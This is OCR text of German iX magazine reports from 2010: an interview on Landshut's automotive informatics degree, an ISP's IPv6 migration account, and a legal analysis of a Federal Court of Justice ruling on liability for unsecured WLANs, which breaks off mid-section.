Zunehmend ist es Software, die verteilt und vernetzt Fahrzeuge in Betrieb setzt und hält. Mit dem Bachelorstudiengang Auto mobilinformatik trägt die Hochschule Landshut der Entwicklung seit zwei Jahren Rechnung ein Interview mit dem Studiengangsleiter. Nazareth:ˇAutomobilinformatik ist ein sogenannter Bindestrichstudiengang, auch wenn wir ihn in unserem speziellen Fall ohne Bindestrich schreiben. Das heißt, dass neben den Kernfächern der Informatik die Grundlagen für ein spezielles Anwendungsgebiet der Informatik geschaffen werden. Dies ist prinzipiell nichts Neues. An vielen Universitäten musste man schon immer ein sogenanntes Nebenfach wählen. Das ist auch vernünftig, weil sich die wenigsten Informatiker später mit der Informatik selbst beschäftigen werden, sondern die Informatik in einem Fachgebiet anwenden werden. Wer das Studium nur wegen des Automobils beginnt, wird sehr schnell merken, dass er vielleicht den falschen Studiengang gewählt hat. Der Studiengang Automobilinformatik ist auf die technische Informatik ausgerichtet und vermittelt darüber hinaus Wissen im Bereich des Fahrzeugbaus, aber auch der Elektrotechnik. Es wird also sehr viel Wert auf interdisziplinäre Ausbildung gelegt. Entscheidend ist dabei, so viel Grundwissen des Anwendungsbereiches zu vermitteln, dass man die Anforderungen der Kollegen in einem interdisziplinären Team versteht. ix:ˇwo sehen Sie die Besonderheiten der Automotive-Software-Entwicklung im Unterschied zu anderen Embedded- Bereichen? Nazareth:ˇIm Bereich der Automotive- Softwareentwicklung wurden sehr viele spezifische Standards entwickelt. Ob das immer gut war, darüber lässt sich streiten. Das fängt bei den Bussystemen im Fahrzeug wie dem CAN oder Flexray an und hört bei Softwarearchitekturen à la AUTOSAR auf. Der Studiengang Automobilinformatik bildet von Anfang an auf diese Standards aus. Auch die Werkzeuglandschaft ist ziemlich spezifisch. Werkzeuge wie CANoe (Vector Informatik) oder AS- CET (Etas) wurden speziell für die Steuergeräte entwicklung geschaffen. Die entsprechenden Firmen bedienen dabei fast ausschließlich den Automobilbereich. Darüber hinaus gibt es aber auch spezielle Phasen in der Softwareentwicklung, die in anderen Branchen ix 11/

102 REPORT Automotive kaum zu finden sind, wie zum Beispiel die Kalibrierung der Software auf ein spezifisches Fahrzeug. ix:ˇwie hat die Industrie auf den Studiengang reagiert? Nazareth:ˇBis jetzt gibt es ja noch keine Abgänger. Wir starten im Winter - semester erst mit dem 3. Durchgang. Dementsprechend sind die Studenten des 1. Durchgangs jetzt im 5. Semester. Die Reaktion des Industrie auf den Start des Studiengangs vor zwei Jahren war überaus positiv. Viele Firmen hatten mich damals kontaktiert und ihre Unterstützung angeboten. Im Auto muss Software immer mehr Funktionen übernehmen ix:ˇwelche Herausforderungen sehen Sie derzeit für die Automotive-Softwareentwicklung? Nazareth:ˇEine der größten Heraus - forderungen ist die stetig steigende Komplexität der Fahrzeugsysteme. Wir werden auch in Zukunft mit einer Funktionsmehrung zu kämpfen haben. Neue Funktionsbereiche wie Car2Car oder Car2Infrastructure werden die Komplexität sicherlich nicht verringern. Auch die neuen Hybridfahrzeuge bringen natürlich neue Aufgaben mit sich. Statt einem Antrieb müssen jetzt gleich zwei Antriebe gesteuert werden. Dabei bleibt es leider nicht bei der simplen Addition des Aufwands. Auch die Koordination der beiden Antriebe muss durch funktionsübergreifende Strategien erledigt werden. Gleichzeitig sind wir bei der Anzahl der Steuergeräte am Limit angelangt. Die Herausforderung ist deshalb, mehr Funktionen in einem Steuergerät zu integrieren. Technisch sind wir dabei mit Standards wie AUTOSAR auf dem richtigen Weg. Ob wir aber mental dazu fähig sind, wird sich zeigen. Nur wenn wir es schaffen, die Software von der Hardware zu lösen, und die alten Zuliefererstrukturen aufbrechen können, werden wir die Komplexität in den Griff bekommen. ix:ˇwie unterscheiden sich die Anforderungen an die Softwareentwickler in den Bereichen Infotainment, Car2Car oder Steuergeräte? Nazareth:ˇWenn man das Bordnetz betrachtet, dann muss man ganz klar zwischen den klassischen Steuergeräten des Antriebs-, Fahrwerks- oder Karosseriebereiches und dem Infotainment unterscheiden. Die oben genannten speziellen Standards und Werkzeuge werden hauptsächlich im erst genannten Gebiet verwendet. Der Bereich Infotainment verwendet meist wieder die üblichen Methoden und Werkzeuge der Informatik. Während wir im klassischen Steuerge - räte bereich sogar die Sprache C einschränken und jegliche dynamischen Konzepte verbieten, um den Speicherund Laufzeitbedarf exakt abschätzen zu können, werden im Infotainment objektorientierte Sprachen verwendet. Das ist hier auch gefahrlos möglich, weil diese System nicht sicherheitskritisch sind. Im Zweifelsfall dauert dann die Darstellung einer Navigationskarte etwas länger, was nicht wirklich schlimm ist. Wenn aber die Einspritzung oder Zündung eines Motors nicht rechtzeitig erfolgt, dann kann das schwerwiegende Folgen haben. Der Bereich Infotainment verwendet meist wieder die üblichen Methoden und Werkzeuge der Informatik. Der Studiengang Automobilinformatik konzentriert sich eher auf den klassischen Steuergerätebereich. ix:ˇsie sagten, dass Sie die angehenden Automobilinformatiker im Hinblick auf Standards wie AUTOSAR ausbilden. Wie sehen Sie die Akzeptanz von AUTOSAR vonseiten der OEMs und Zulieferer? Nazareth:ˇMan muss hier sehr genau unterscheiden. AUTOSAR hat ja drei Hauptthemen. Da ist zum einen die Standardisierung der Basissoftware. Dieses Thema ist eine konsequente Fortführung der OSEK-Aktivitäten [Anm.: Offene Systeme und deren Schnittstellen im Kraftfahrzeug] und wird deshalb wohl ähnlich erfolgreich sein. Ich denke mir, die Automobilhersteller haben verstanden, dass eine Differenzierung der Fahrzeuge nicht über die Basissoft - ware von Steuergeräten erfolgen kann. Das 2. Themengebiet ist die Trennung der Anwendungssoftware von der Hardware und die Verteilung von Software auf eine Steuergerätearchitektur. Dieses Thema betrifft natürlich in erster Linie die OEMs, die ja für die Gesamtarchitektur verantwortlich sind. Wie schon erwähnt, muss hier erst mal ein Umdenken in den Köpfen der OEMs und Tiers stattfinden. Das Thema Standardschnittstellen für Fahrzeugfunktionen sehe ich am kritischsten. Hier ist der Nutzen wohl am geringsten und deswegen wird dieses Thema wohl von wenigen Firmen aufgegriffen werden. ix:ˇ Geht Softwareentwicklung ohne AUTOSAR noch? Nazareth: Natürlich geht die Softwareentwicklung auch ohne AUTOSAR. Der Einsatz von AUTOSAR-Methoden und -Werkzeugen steckt mit Sicherheit noch in den Kinderschuhen. Einer der größten Treiber ist hier in meinen Augen BMW. Doch auch große Zulieferer wie Bosch nehmen das Thema durchaus ernst und entwickeln ihre eigenen AUTOSAR-Werkzeuge. Außerhalb Europas spielt dieses Thema sowieso noch kaum eine Rolle. Die chinesischen Automobilhersteller versuchen gerade, ihre ersten eigenen Steuergeräte zu entwickeln. Wie bereits erwähnt, ist es meiner Meinung nach weniger eine Frage der Technik, sondern ob die Automobilindustrie bei der Entwicklung von Steuergeräten grundsätzlich umdenken will. Wenn man die Software von der Hardware löst, dann kann man den Hardware- vom Softwarelieferanten trennen. Und dann sind wir bei ähnlichen Strukturen wie im PC-Bereich. Auf einer Hardware des HerstellersˇX läuft ein Betriebssystem des HerstellersˇY und darauf viele Applikationen von unterschiedlichen Softwarefirmen. Ob das im Sinne der heutigen mächtigen Zulieferer ist, wage ich zu bezweifeln. AUTOSAR ist aber sicherlich ein Baustein, der zu einem durchgängigen Entwicklungsprozess führen kann. ix:ˇwie sehen Sie die Rolle der modellbasierten Softwareentwicklung? Nazareth:ˇModellbasierte Entwicklung ist schon seit Längerem ein Schlagwort. Doch der Begriff ist sehr dehnbar. Ziel ist es, das Verhalten eines Systems 102 ix 11/2010

103 auf einer höheren Abstraktionsebene zu beschreiben. Das ist sicherlich wünschenswert in der frühen Phase der Entwicklung, insbesondere wenn es zum Beispiel um komplizierte Regelungsvorgänge geht. Leider führt das aber auch dazu, dass man oft die wahren Probleme der Softwareentwicklung für eingebettete Systeme wegabstrahiert, zum Beispiel die Knappheit der Ressourcen und Echtzeitfähigkeit. Zum Schluss ist es ja doch Software, die im Steuergerät ausgeführt wird, und nicht irgendein Diagramm. Open Source kommt vor allem für Infotainment infrage ix:ˇim Bereich Infotainment hört man von Open-Source-Aktivitäten, zum Beispiel der Genivi-Allianz. Wie sehen Sie die Rolle von Open Source und offenen Standards im Bereich Automotive? Nazareth:ˇIm Infotainmentbereich könnte Open-Source-Software durchaus interessant sein. Im Bereich der klassischen Steuergerätesoftware kann ich mir das aber nicht vorstellen. Hier haben wir es in vielen Fällen mit sicherheitskritischer Software zu tun. Und letztendlich ist der OEM für die Sicherheit des Fahrzeugs verantwortlich. Hier gefällt mir hingegen sehr der Weg von BMW, in der Karosserieelektronik selbst die Software zu entwickeln und dann immer wieder für viele Baureihen und Zulieferern zu verwenden. Warum sollte das Rad immer neu erfunden werden. Die Außenspiegelfunktion hat sich zum Beispiel seit Jahren kaum verändert. Deshalb ist es sehr konsequent, die Software dafür immer wieder zu verwenden. Software hat die schöne Eigenschaft, mit dem Alter immer besser zu werden. Und offene Standards: Hier verweise ich nur auf den Slogan von AUTO- SAR: Cooperate on Standards and Compete on Implementation. Ich glaube, dass es inzwischen allgemein anerkannt ist, dass die Basissoftware eines Steuergerätes nicht wettbewerbsrelevant ist. Und man glaubt es kaum: Mittlerweile schaut die Automobilindustrie sogar über den eigenen Tellerrand hinweg und hat entdeckt, dass es etablierte Standards, zum Beispiel den Ethernet-Bus gibt, den man durchaus auch im Fahrzeug einsetzen kann. ix:ˇwelche neuen Anforderungen entstehen für Automobilinformatik durch das Thema Elektromobilität? Nazareth:ˇWenn man unter Elektromobilität das reine E-Fahrzeug versteht, dann findet hier erst mal ein Verein - fachung statt. Die Ansteuerung eines E-Motors ist von der Komplexität her deutlich geringer als die eines modernen Verbrennungsmotors. Betrachtet man allerdings den hybriden Antrieb, dann steigt die Komplexität deutlich an. Um diese beherrschen zu können, brauchen wir dann natürlich saubere Prozesse, Methoden und entsprechende Werkzeuge, die das unterstützen. Im Allgemeinen entstehen aber durch die Elektromobilität keine anderen Anforderungen als durch andere Funktions mehrungen. ix:ˇund zum Schluss: Sie sagten, dass Sie einen Lehrauftrag in China haben. Warum China? Nazareth:ˇIch bin seit 2008 Gastpro - fessor an der renommierten Jiao Tong University in Shanghai. China ist nicht nur der größte Automarkt der Welt, sondern auch die größte automobil - produzierende Nation der Welt. Und dabei beschränkt sich die Produktion nicht nur auf ausländische Marken, die in einem Joint Venture lokal gefertigt werden. Es gibt in China mittlerweile sehr viele lokale Fahrzeughersteller, die auf dem chinesischen Markt sehr erfolgreich sind, zum Beispiel SAIC, FAW oder BYD, auch wenn sie in Deutschland noch vielfach belächelt werden. Und diese Firmen produ - zieren ja nicht nur in China, sondern die Fahrzeuge werden auch hier entwickelt. Dabei stützt man sich zunehmend nicht mehr nur auf wohlbekannte, weltweit agierende Zulieferer, sondern man versucht, vor allem auch im Elektronik - bereich Eigenentwicklungen zu machen. Nahezu jeder lokale Automobilhersteller arbeitet an Motorsteuerungen. Dass in der Elektronikentwicklung die Softwareentwicklung eine eigenständige Disziplin ist, wurde allerdings noch nicht erkannt. Steuergerätesoftware wird von Maschinenbauern oder Elektrotechnikern entwickelt. Man findet in diesem Bereich praktisch keine Informatiker. Aber dieses Phänomen ist auch immer noch in Deutschland zu beobachten. Man tut sich auf beiden Seiten schwer. Die Automobilhersteller und Zulieferer haben auch hierzulande oft noch nicht verstanden, dass Software-Engineering eine Disziplin der Informatik ist und nicht zur Elektrotechnik oder zum Maschinenbau gehört. China ist der größte Automobilmarkt der Welt Auf der anderen Seite haben aber auch die Informatikstudenten das Anwendungsgebiet Fahrzeugsoftware noch kaum für sich entdeckt. Hier schreckt oft der zu technische Aspekt ab und man beschäftigt sich lieber mit Webprogrammierung. Deshalb haben auch wir an der Hochschule Landshut Probleme mit den Studentenzahlen. Während Wirtschafts informatik boomt, müssen wir in der Automobilinformatik um jeden Studenten kämpfen. Dass die Software dank Bemühungen wie AUTOSAR sich langsam von der Hardware löst, wird hoffentlich helfen, die Disziplin Automobilinformatik zu stärken. (rh) Zur Person: Prof. Dr. Dieter Nazareth Prof. Dr. Dieter Nazareth ist seit 2001 Professor für Informatik an der Universität Landshut ( soren/nazareth/nazareth) mit dem Schwerpunkt Automotive Software. Seit 2005 berät und schult er Unternehmen außerdem als Geschäftsführer der AuSEG Automotive Software Engineering GmbH ( eg.de). Seit 2008 lehrt er als Gastprofessor an der Shanghai Jiao Tong University ( Zum Werdegang: Prof. Dr. Dieter Nazareth studierte Informatik an der Technischen Universität München mit dem Nebenfach Elektrotechnik und promovierte dort im Bereich der formalen Software-Spezifikation. Weitere Stationen führten ihn von der BMW AG in München (Leitung CAE/ CASE Methoden im Bereich Entwicklung Elektrik/Elektronik) zur Dräxlmaier Group, in der er das Competence-Center für Elektrik/Elektronik leitete. x ix 11/

104 REPORT Internet IPv6-Umstellung bei einem Infrastruktur-Provider Umbau Patrick Kambach, Rolf Hanßen Internet-Provider sollten den Übergang von IPv4 zu IPv6 von langer Hand planen. Sie müssen unter anderem Routing-Verbindungen und Nameserver konfigurieren sowie ungewohnt große Adressbereiche einteilen. Ein Blick in die Erfahrungen mit einem konkreten Umstellungsprojekt. Ende 2009 fiel der Startschuss: Es galt, den Kunden das neue Internet-Protokoll der Versionˇ6 (IPv6) anzubieten. RIPE, die europäische Ver - gabestelle für IP-Adressen, nahm den Antrag für die Zuweisung eines IPv6- Netzes entgegen. Da der Registrierungsstelle eine zügige Einführung des Protokolls am Herzen liegt, war der Antrag entsprechend schnell bearbeitet. Den meisten Antragstellern weist sie ein /32-Netz zu. Damit stehen für Provider theoretisch so viele Netze zur Verfügung, wie es weltweit insgesamt IPv4-Adressen gibt (gut vier Milliarden). Und jeder Kunde der damit ausgestatteten Provider könnte wiederum ein Vielmilliardenfaches dessen an Adressen nutzen, was IPv4 kennt. Adressen in Hülle und Fülle In absehbarer Zeit wird der Vorrat an IPv4-Netzen erschöpft sein. Provider sollen die bisher verteilten Bereiche laut den Vergaberegeln deshalb möglichst effizient nutzen. Es war bislang unmöglich zu planen, wie sie das Netz vergeben oder nach welchen Kriterien sie es einteilen. Dagegen erlaubt die nahezu unendliche Zahl der IPv6-Netze den Providern jetzt erstmals, die Adressen nach eigenen Kriterien zu unterteilen, die ihnen logisch erscheinen. Im vorliegenden Fall bot sich eine Dreiteilung des /32-Netzes an: Kundenbereiche, internes Netz, auf das Kunden und Mitarbeiter zugreifen, sowie ein den Mitarbeitern vorbehaltener Bereich. Die Administratoren legen fest, welcher Rechner auf welche Netzbereiche Zugriff erhält. Firewall-Setups sind durch die Einteilung jetzt einfacher, da die Filter den Datenverkehr komfortabel nach Netzblöcken sortieren können anstatt nach Dutzenden einzelner Systeme oder Netze. Die passende Verwaltungssoftware fehlt noch eine schlichte Excel- Tabelle dokumentiert derzeit die Aufteilung des Netzes. Im Schutze der Nacht Das Netzwerk verbindet über 10-Gpbs- Backbone-Leitungen mehrere Standorte in Europa miteinander. Für die wesentlichen Carrier-Uplinks und Peerings also an den Punkten mit dem stärksten Datenverkehr sind Router der Firma Brocade (ehemals Foundry) im Einsatz. Die wichtigsten Routing-Verbindungen ließen sich innerhalb kurzer Zeit kon - figurieren und aktivieren. Der IPv6-Betrieb einschließlich Außenanbindung startete im Rahmen geplanter Updates der Router-Software während nächt - licher Wartungsarbeiten per Reboot. Einer der drei Uplink-Carrier unterstützt bereits das neue Protokoll. Da der IPv6-Datenverkehr in der Startphase noch gering ist, lässt sich das Routing entsprechend einfach steuern. Neue Ports sind nicht erforderlich, da IPv6 die bestehende physische Infrastruktur sprich: Kabel und Anschlüsse wie IPv4 nutzt. Lediglich Netzwerknummern gilt es zu definieren und analog zu IPv4 Routing-Verbindungen anzulegen. Größere Peers verfügen in der Regel bereits über entsprechende IPv6-Verknüpfungen. Zu installieren waren dazu die BGP-Verbindungen zu anderen Providern am DECIX, AMSIX und ECIX. Die grundlegenden Einstellungen ließen sich aus der IPv4-Konfiguration der Router übernehmen. Damit die anderen Provider ihre Konfigurationen anpassen können, benötigen sie Informationen über neue IP-Adressen. Access Router unter Linux Der IPv6-Testbetrieb der Access Router verlief bisher ohne Komplikationen. Die meisten Kunden sind an Router angeschlossen, auf denen eine eigens angepasste Linux-Distribution läuft. Der Linux-Kernel unterstützt IPv6 seit der Version 2.2.x. In diesem Fall wird es direkt in den Kernel kompiliert, wahl - weise lässt es sich als Modul nachladen (siehe Abb. 1). Die Routing-Software Quagga ermöglicht die Nutzung von BGP und anderen Routing-Protokollen unter Unix, sie ist ebenfalls IPv6-kompatibel. Insgesamt ließen sich die Router von Brocade (NetIron XMR) sowie Linux mit Quagga schnell und auf unkomplizierte Weise einrichten. 104 ix 11/2010

105 Cisco, Quagga, Brocade und Systeme mit ähnlicher Syntax unterscheiden IPv6-Sessions über den Befehl address-family. In den Konfigurationen der Router gibt es eine Unterteilung nach Protokollen. Beim Konfigurieren wählt man zuerst das Routing-Protokoll (hier router bgp <AS-Nummer>) und kann dann über den Befehl address-family weiter auswählen, auf welches Protokoll oder welche Routen sich die nachfolgende Konfiguration bezieht, in diesem Fall die der BGP-Sessions. So kann der Netzverwalter auch definieren, ob ein Peer nur IPv4, nur IPv6 oder auch beides beherrschen soll. Letzteres spielt, soweit den Autoren bekannt, in der Praxis allerdings keine Rolle. Per Default gilt die Annahme, dass es um IPv4 geht, darum fehlt der Eintrag für address-family ipv4 (siehe Abb. 2). Von den Access-Routern erhalten die Kunden Statistiken über den Datenverkehr. Eine Filterregel für jede einzelne IP-Adresse erfasst bei IPv4 auf das Byte genau, wie viel Traffic die Kunden produzieren. Das Prinzip lässt sich allerdings nicht auf IPv6 übertragen, da die Zahl der Adressen zu hoch ist. Software, Skripte und Nameserver anpassen Stattdessen bieten sich zwei neue Ansätze an, den Traffic zu messen: erstens anhand der MAC-Adresse. Damit wird unabhängig von der IP-Adresse sichtbar, welcher Anteil auf einen bestimmten Rechner entfällt. Zweitens kommt in Betracht, dass sich der Provider auf die IP-Adressen mit dem stärksten Datenverkehr beschränkt und Beispiel - pakete oder bestimmte Adressen statistisch auswertet. Die Praxis muss zeigen, welche der beiden Methoden sich wie gut bewährt. Cisco, Quagga, Brocade und Sys - teme mit ähnlicher Syntax unterscheiden IPv6-Sessions über den Befehl address-family (Abb. 2). Damit niemand den Überblick über die Netzressourcen verliert, gilt der Dokumentation besonderes Augenmerk. Ein eigens programmiertes Web-Interface mit SQL-Datenbank hilft, die Ordnung zu bewahren. Die gleiche Anwendung nutzen Kunden dafür, ihre Server zu überwachen oder Statistiken über Traffic und Stromverbrauch anzusehen. Teile der Software gilt es nun an die neuen Netzdimensionen anzupassen oder neu zu schreiben. Basierend auf der RIPE-Datenbank generiert ein Skript IP-Adresslisten für BGP-Verbindungen und vergleicht automatisiert eigene Daten mit denen von RIPE. Solche Skripte, die bisher auf der Syntax von IPv4-Adressen basieren, sind ebenfalls an IPv6 anzupassen. Wer IPv6 auf sinnvolle Weise nutzen will, benötigt genau wie beim Vorgängerprotokoll die Unterstützung des Domain Name System (DNS). Vor allem müssen die Nameserver die IP- Adressen zu Hostnamen liefern. Daneben sollten IP-Adressen wiederum zu Hostnamen führen ( Reverse DNS ). Nameserver und DNS-Caches sind über IPv6-Adressen erreichbar. BIND9, die Nameserver-Software, beherrscht bereits IPv6 noch nicht jedoch die Software im Web-Interface, die einzelne Nameserver-Zonen generiert. Bis sich das ändert, sind die entsprechenden Einträge von Hand einzupflegen. Da den Kunden nicht nur Daten - verbindungen, sondern auch diverse Anwendungen zur Verfügung stehen, müssen auch diese nach und nach IPv6-fähig werden. Dazu gehören eigene Web- und Mailserver IPv6 lässt sich fest in den Linux-Kernel kompilieren oder als Modul nachladen (Abb. 1). für Hosted Exchange und kundeneigene Systeme. Fazit und Ausblick Auf der Soll-Seite sind für die Umstellung auf IPv6 bisher nur Personalkosten angefallen. Weder für Tests noch für den Live-Betrieb war neue Hardware anzuschaffen eine Folge der bereits seit Langem verfolgten Strategie, bei Routern und anderen Investitionen auf deren IPv6-Fähigkeit zu achten. Die Anpassung der Verwaltungssoftware und der Anwendung zur Traffic-Erfassung haben allerdings mehr Zeit beansprucht als ursprünglich vorgesehen. Allein das Interesse der Kunden an IPv6 ist momentan noch gering. Erstaunlicherweise beantragen selbst Neukunden häufig nur IPv4-Adressen. Sie ziehen es vor, kein IPv6 zusätzlich zu buchen, obwohl es ihnen ohne Aufpreis zur Verfügung stünde. Einige geben an, dass sie noch Software schreiben, die IPv6 nicht vorsieht. Bisher interessieren sich einzig Kunden für den Anschluss an IPv6, die selbst Internet-Provider sind. Nach derzeitiger Planung wird es in diesem konkreten Anwendungsfall bis zur vollständigen Integration von IPv6 noch bis mindestens Ende 2012 dauern. Das würde sich allerdings ändern, sollte es plötzlich einen IPv6-Boom geben, der verlangte, die Prioritäten anders zu setzen. Das kann passieren, wenn einer der großen Kabel- und DSL-Provider nativ IPv6 anbietet oder spätestens, wenn es bei einer der Vergabestellen keine IPv4- Adressen mehr gibt. Das könnte bereits 2011 oder 2012 geschehen. (un) PATRICK KAMBACH ist Director of IT bei der MESH GmbH. ROLF HANSSEN ist Network Designer bei der MESH GmbH. x ix 11/

106 REPORT Recht WLANs sind vor Missbrauch zu schützen Ungesichert Dennis Werner, Christoph Wegener Der Bundesgerichtshof hat sich in einem viel beachteten Urteil erstmals mit der Verantwortlichkeit eines WLAN-Betreibers beschäftigt. Ein Blick auf die Argumentation des BGH und mögliche Auswirkungen dieses Urteils auf Privat- und Geschäftsanwender. Das höchste deutsche Zivilgericht hat am 12. Mai 2010 festgestellt, dass der Inhaber eines WLAN mit Internet- Anschluss die zum Kaufzeitpunkt des WLAN-Routers marktüblichen Sicherungen anwenden muss. Sonst haftet er als Störer auf Unterlassung, wenn Dritte sein Netz etwa dafür missbrauchen, urheberrechtlich geschützte Musiktitel in Tauschbörsen zu verbreiten. Dem BGH-Urteil (Az. I ZR 121/08) liegt ein typischer Sachverhalt zugrunde. Die Klägerin und Urheberrechtsinhaberin hatte festgestellt, dass über eine IP-Adresse, die dem Internetanschluss des Beklagten zugeordnet war, über emule am 8. September 2006 ein Musikwerk zum Herunterladen angeboten worden war. Sie hatte dies mit einer Protokollierungssoftware aufzeichnen lassen und staatsanwaltschaftliche Ermittlungen eingeleitet, um per Akteneinsichtsgesuch an die Anschrift des Beklagten zu kommen. Der war jedoch an dem fraglichen Tag im Urlaub, sein PC befand sich nach eigenen Angaben in einem für Dritte unzugänglichen Büroraum. Sein WLAN hatte er mit einem werkseitig voreingestellten, 16- stelligen WPA-Schlüssel geschützt. Die Klägerin verlangte Unterlassung, Schadenersatz sowie Erstattung von Abmahnkosten, in der ersten Instanz vor dem Landgericht Frankfurt am Main mit Erfolg. Auf die Berufung des Beklagten hin wies das Frankfurter OLG die Klage jedoch ab. Der BGH wiederum sah zwar ebenfalls keinen Anspruch auf Schadenersatz, aber zumindest auf Unterlassung sowie auf Erstattung der Abmahnkosten. Laut BGH besteht ein Schadenersatzanspruch nur dann, wenn den Anschlussinhaber ein Verschulden trifft. Der bloße Betrieb eines Access Point begründe jedoch noch kein Verschulden für Rechtsverletzungen Dritter. Sehr wohl sieht der BGH aber eine Haftung des WLAN-Betreibers als Störer. Ein solcher haftet jedoch nur auf Unterlassung und gegebenenfalls Erstattung von Anwaltskosten für eine Abmahnung. Das Berufungsgericht war noch davon ausgegangen, dass der Betreiber eines privaten WLAN-Anschlusses nicht generell wegen der abstrakten Gefahr eines Missbrauchs durch Außenstehende haftet. Der BGH sieht dagegen den Betrieb eines nicht ausreichend gesicherten WLAN als adäquat kausal für Urheberrechtsverletzungen an, die Unbekannte unter Einsatz dieses Anschlusses begehen. Sprich: Ein privater Anschlussinhaber unterliegt gewissen Prüfpflichten, deren Verletzung eine Störerhaftung auslöst. IP-Adressen ohne Beweiskraft Wesentlich für den Ausgang des Verfahrens war, dass sich der BGH auf die Ausführungen der Klägerin zur Feststellung der fraglichen IP-Adresse verlassen hat. Laut Klägerin hatte eine zuverlässige und eingehend überwachte Software die Adresse ermittelt. Der Beklagte war aufgefordert worden, dies zu entkräften, hatte es allerdings dabei belassen, die korrekte Ermittlung pauschal zu bestreiten. Dies reichte dem BGH nicht. Es stellt sich aber die Frage, wie der Beklagte die Beweiskraft der IP-Adresse auf fundierte Weise hätte bestreiten können, denn ihm ist die Software schließlich nicht bekannt. Letztlich wäre es wohl nötig gewesen, ihm die Software mitsamt Quelltext zur Verfügung zu stellen. Dass sich die Klägerin, genauer gesagt der von ihr beauftragte Dienstleister, darauf eingelassen hätte, dürfte zumindest fraglich sein. Zudem bleibt die generelle Frage offen, ob und inwieweit IP-Adressen überhaupt als verlässliche Identifika - tionsmerkmale in Betracht kommen. Mit einigem technischen Aufwand kann man mit einer beliebigen (fremden) IP-Adresse im Netz unterwegs sein und dabei mit der Identität völlig ahnungsloser Betroffener illegale Handlungen vornehmen. Die Schwierigkeit besteht darin, Antworten auf Datenpakete mit gefälschten Absenderadressen zu erhalten und so eine bidirektionale Kommunikation aufzubauen was sich aber durch eine Manipulation des Routing durchaus erreichen lässt. Es gibt genug Schwachpunkte, die ein technisch ver- 106 ix 11/2010

107 sierter Angreifer ausnutzen kann [1]. IP-Adressen allein weisen also als Beweismittel einige Schwächen auf, die sich aber etwa durch Hinzunahme der zum fraglichen Zeitpunkt bestehenden Routing-Einträge kompensieren lassen. Hinsichtlich der Prüfpflichten eines privaten Anschlussinhabers stellt der BGH nun die Anforderung, ein WLAN gegen unberechtigten Zugriff zu schützen. Maßgeblich soll dabei der Stand der Technik zum Zeitpunkt der erstmaligen Inbetriebnahme sein. Dabei geht er davon aus, dass im September 2006 zumindest bei privater WLAN-Nutzung eine Verschlüsselung nach dem WPA2-Standard noch nicht üblich und damit geboten war. WPA2 gehört zudem erst seit März 2006 zur Standardausstattung von WiFi-Geräten, und somit stellt sich die Frage, ob das Gerät des Beklagten diese Funktion überhaupt geboten hätte. Weiter führt er aus, dass WLAN-Anwender auf unzumutbare Weise belastet würden, wenn sie ihre Netzwerksicherheit fortlaufend auf dem neuesten Stand der Technik halten müssten. Pflichten eines Anschlussinhabers Allerdings habe es, so der BGH, auch schon Mitte 2006 zum Mindeststandard privater Computernutzung gehört, Computer, Kundenkonten im Internet und Netzwerke durch individuelle Passwörter zu schützen. Der Fehler des Beklagten liege also lediglich darin, dass er das voreingestellte Passwort verwendet und nicht gegen ein individuelles ausgetauscht habe. Für Abgemahnte ist eine Randnotiz im Zusammenhang mit diesem Urteil von besonderem Interesse. In seiner vorab veröffentlichten Pressemitteilung führt der BGH aus, dass nach geltendem, im vorliegenden Streitfall aber noch nicht anwendbaren Recht die Abmahnkosten gemäß ˇ97a, Abs. 2 des Urheberrechtsgesetzes auf 100 Euro gedeckelt seien. Bedauerlicherweise hat diese Anmerkung jedoch keinen Eingang in die Urteilsbegründung gefunden. Die Abmahnindustrie verlangt daher weiterhin deutlich höhere Vergleichsbeträge zur Abgeltung von Schadenersatzansprüchen und Rechtsanwalts honoraren. Ebenso bedauerlich, dass sich der BGH nur unklar über die (Nicht-)Anwendbarkeit der Haftungsprivilegierungen im Telemediengesetz ( ˇ7 ff. TMG) geäußert hat. Hier verwundert zunächst, dass sich das Gericht mit dem auf Host-Provider zugeschnittenen ˇ10 TMG beschäftigt und nicht den für Access-Provider geltenden ˇ8 TMG heranzieht, obwohl der WLAN-Besitzer ursächlich lediglich den Zugang zum Internet und eben keine Inhalte bereitgestellt hat. Dies mag in anderen Fallkonstellationen, in denen sich die hochgeladene Datei auf einem Computersystem des Anschlussinhabers befunden hat, anders sein, doch diese Fragestellung spielt im vorliegenden Urteil keine Rolle. Des Weiteren fällt auf, dass laut BGH der ˇ10 TMG einen weitergehenden Unterlassungsanspruch ausschließt, da er in ständiger Rechtsprechung die ˇ7 ff. TMG entgegen ihrem Wortlaut gar nicht auf Unterlassungsansprüche anwendet. Sie sollen vielmehr nur die strafrechtliche Verantwortlichkeit und die Schadensersatzhaftung betreffen. Falls der BGH nun allmählich von seiner grundsätzlichen Ablehnung abrücken sollte, die Privilegierung auf Unterlassungsansprüche anzuwenden, könnte dies positive Konsequenzen für Inhalte- und Zugangsanbieter haben. Der Bundesgerichtshof äußert sich auch nicht dazu, ob und inwieweit die Entscheidung über Privatnutzer hinaus auf gewerbliche Anschlussinhaber wie Hotels, Gastronomiebetriebe oder Internetcafés übertragbar ist. Er hat definitiv eine Chance vertan, Rechtssicherheit zu schaffen. Aus den Urteilsgründen ergibt sich jedenfalls nichts Eindeutiges: Der BGH geht offensichtlich davon aus, dass jeder Internetanschlussinhaber Prüfpflichten hat, wenn er immer wieder formuliert, dass diese auch den privaten Anschlussinhaber treffen. Der BGH geht anscheinend auch davon aus, dass Prüfpflichten auch Unternehmer respektive gewerbliche Anbieter treffen. Interessant ist dann aber die Begründung der Zumutbarkeit für den privaten Anschlussinhaber. Der BGH meint, dass die Zumutbarkeit von Schutzmaßnahmen regelmäßig bereits aus dem wohlverstandenen eigenen Interesse des Anschlussinhabers folge, seine Daten vor unberechtigtem Eingriff von außen zu schützen. Sicherungsmaßnahmen am WLAN-Zugang zur Vermeidung von Urheberrechtsverletzungen durch unberechtigte Dritte dienten zugleich diesem Eigeninteresse. Diese Begründung kann schon für den privaten Anschlussinhaber nicht überzeugen, da das Betreiben eines ungeschützten Access Point nicht zwangsläufig dazu führt, dass unbekannte Dritte auch Zugriff auf Daten des Anschlussinhabers erlangen. Erst recht trägt diese Erwägung nicht für gewerbliche Anbieter. Diesen geht es unter Umständen gerade darum, ihren Kunden einen Internetzugang anzubieten. Für gewerbliche Anbieter bedarf es daher einer anderen Begründung der Zumutbarkeit von Schutzmaßnahmen. Leider enthält das Urteil diesbezüglich keinerlei weiterführenden Hinweise, sodass für gewerbliche Anbieter ein erhebliches Maß an Rechtsunsicherheit verbleibt. Familien vor Gericht In zahllosen Haushalten nutzen ganze Familien einen gemeinsamen Internetanschluss. 